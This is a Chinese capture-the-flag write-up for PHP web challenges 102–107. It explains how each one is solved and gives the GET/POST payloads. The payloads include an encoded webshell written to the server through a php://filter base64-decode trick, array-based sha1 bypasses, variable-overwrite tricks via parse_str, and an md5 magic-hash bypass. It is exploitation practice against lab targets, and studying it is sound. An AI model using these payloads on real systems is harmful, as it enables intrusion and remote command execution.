目录
Web 102-103
substr() 函数返回字符串的一部分
此题中v2被去掉了前两位字符所以到时候给v2前加两个数字
call_user_func函数
php5下is_numeric可识别16进制,如0x2e,然后调用hex2bin转成字符串写入木马,但题目环境没配好,是php7,所以要另换方法。
用伪协议写入,所以需要base64编码后转成16进制全是数字的字符串
<?php
$a='<?=`cat *`;';
$b=base64_encode($a);//$a=PD89YGNhdCAqYDs=
$c=bin2hex('PD89YGNhdCAqYDs');
echo $c;
?>
得到5044383959474e6864434171594473
GET:
?v2=105044383959474e68644341715944&v3=php://filter/wrrite=convert.base64-decode/resource=1.php
POST:v1=hex2bin
然后访问1.php得到flag
web 104
绕过if(sha1($v1)==sha1($v2))即可
payload:
GET: v2[]=1
POST: v1[]=2
Web 105
变量覆盖
取一个中间介质:error=a=flag
GET中error不能在等号左边
POST中flag不能在等号右边
所以
GET:?a=flag
POST: error=a
或者直接
GET:?suces=flag&flag=
Web 106
绕过shal且v1不等于v2即可
Payload:
GET: v2[]=1
POST: v1[]=2
Web 107
parse_str() 函数把查询字符串解析到变量中。(以数组的方式)
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
分析代码:
parse_str($v1,$v2)
if($v2['flag']==md5($v3))
要使数组v2等于md5(v3)
方法一:
可以利用parse_str() 函数的特点将v2[‘flag’]的值覆盖
<?php
$b=md5('0');
echo $b;// cfcd208495d565ef66e7dff9f98764da
?>
Payload:
GET:v3=0
POST: v1=flag=cfcd208495d565ef66e7dff9f98764da
方法二:
还可已通过md5的漏洞绕过
Payload:
GET:v3= QNKCDZO
POST:v1=flag=0